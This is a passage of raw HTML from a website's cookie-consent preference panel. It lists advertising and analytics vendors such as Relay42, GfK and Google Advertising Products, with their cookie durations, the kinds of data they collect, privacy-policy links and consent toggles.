2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Localsensor B.V." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="587"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Online Solution</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="602" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Online Solution, View details" tabindex="0" data-vendor-id="602" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Online Solution, Privacy policy" tabindex="0" data-policy-link="https://adsafety.net/privacy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Online Solution" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="602"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Relay42 Netherlands B.V.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="631" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Relay42 Netherlands B.V., View details" tabindex="0" data-vendor-id="631" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="631" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Relay42 Netherlands B.V., Privacy policy" tabindex="0" data-policy-link="https://relay42.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Relay42 Netherlands B.V." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="631"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>GP One GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: Uses session cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Browsing and interaction data, User-provided data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="657" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="GP One GmbH, View details" tabindex="0" data-vendor-id="657" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="657" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="GP One GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.gsi-one.org/en/privacy-policy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, GP One GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="657"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-657"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, GP One GmbH" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="657" id="fc-preference-slider-gvl-vendor-657" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Liftoff Monetize and Vungle Exchange</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="667" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Liftoff Monetize and Vungle Exchange, View details" tabindex="0" data-vendor-id="667" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Liftoff Monetize and Vungle Exchange, Privacy policy" tabindex="0" data-policy-link="https://liftoff.io/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Liftoff Monetize and Vungle Exchange" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="667"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-667"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Liftoff Monetize and Vungle Exchange" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="667" id="fc-preference-slider-gvl-vendor-667" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>The MediaGrid Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="686" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="The MediaGrid Inc., View details" tabindex="0" data-vendor-id="686" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="686" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="The MediaGrid Inc., Privacy policy" tabindex="0" data-policy-link="https://www.iponweb.com/policies-legal/themediagrid-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, The MediaGrid Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="686"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Reppublika Research & Analytics Austria GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 180 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Users’ profiles</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="703" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Reppublika Research & Analytics Austria GmbH, View details" tabindex="0" data-vendor-id="703" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Reppublika Research & Analytics Austria GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.reppublikaresearch.com/ratings-privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Reppublika Research & Analytics Austria GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="703"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Cint AB</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="734" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Cint AB, View details" tabindex="0" data-vendor-id="734" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Cint AB, Privacy policy" tabindex="0" data-policy-link="https://www.cint.com/participant-privacy-notice" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Cint AB" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="734"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Google Advertising Products</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 396 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="755" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Google Advertising Products, View details" tabindex="0" data-vendor-id="755" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="755" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Google Advertising Products, Privacy policy" tabindex="0" data-policy-link="https://business.safety.google/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Google Advertising Products" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="755"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-755"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Google Advertising Products" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="755" id="fc-preference-slider-gvl-vendor-755" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>GfK GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="758" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="GfK GmbH, View details" tabindex="0" data-vendor-id="758" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="758" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="GfK GmbH, Privacy policy" tabindex="0" data-policy-link="https://help.sensic.net/privacypolicy_en.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, GfK GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="758"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>RevJet</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device identifiers, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="759" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="RevJet, View details" tabindex="0" data-vendor-id="759" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="759" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="RevJet, Privacy policy" tabindex="0" data-policy-link="https://www.innervate.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, RevJet" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="759"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Protected Media LTD</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="762" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Protected Media LTD, View details" tabindex="0" data-vendor-id="762" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Protected Media LTD, Privacy policy" tabindex="0" data-policy-link="https://www.protected.media/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-762"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Protected Media LTD" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="762" id="fc-preference-slider-gvl-vendor-762" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Clinch Labs LTD</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 730 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="767" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Clinch Labs LTD, View details" tabindex="0" data-vendor-id="767" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="767" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Clinch Labs LTD, Privacy policy" tabindex="0" data-policy-link="https://clinch.co/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Clinch Labs LTD" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="767"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-767"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Clinch Labs LTD" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="767" id="fc-preference-slider-gvl-vendor-767" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Oracle Data Cloud - Moat</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="772" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Oracle Data Cloud - Moat, View details" tabindex="0" data-vendor-id="772" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Oracle Data Cloud - Moat, Privacy policy" tabindex="0" data-policy-link="https://www.oracle.com/legal/privacy/services-privacy-policy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-772"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Oracle Data Cloud - Moat" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="772" id="fc-preference-slider-gvl-vendor-772" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Hearts and Science München GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 60 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="787" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Hearts and Science München GmbH, View details" tabindex="0" data-vendor-id="787" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Hearts and Science München GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.nonstoppartner.net" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span 